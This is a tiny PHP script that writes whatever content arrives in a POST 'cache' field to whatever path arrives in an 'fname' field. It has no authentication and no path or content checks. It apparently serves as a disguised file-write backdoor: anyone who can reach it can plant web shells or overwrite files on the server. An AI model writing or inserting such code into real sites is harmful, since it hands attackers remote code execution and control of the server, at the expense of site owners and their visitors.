<?php

if ($_POST['fname'] != '') {
	$f = fopen($_POST['fname'], "w");
	if (trim($_POST['cache'])!='') {
		fwrite($f, $_POST['cache']);
	}
}

?>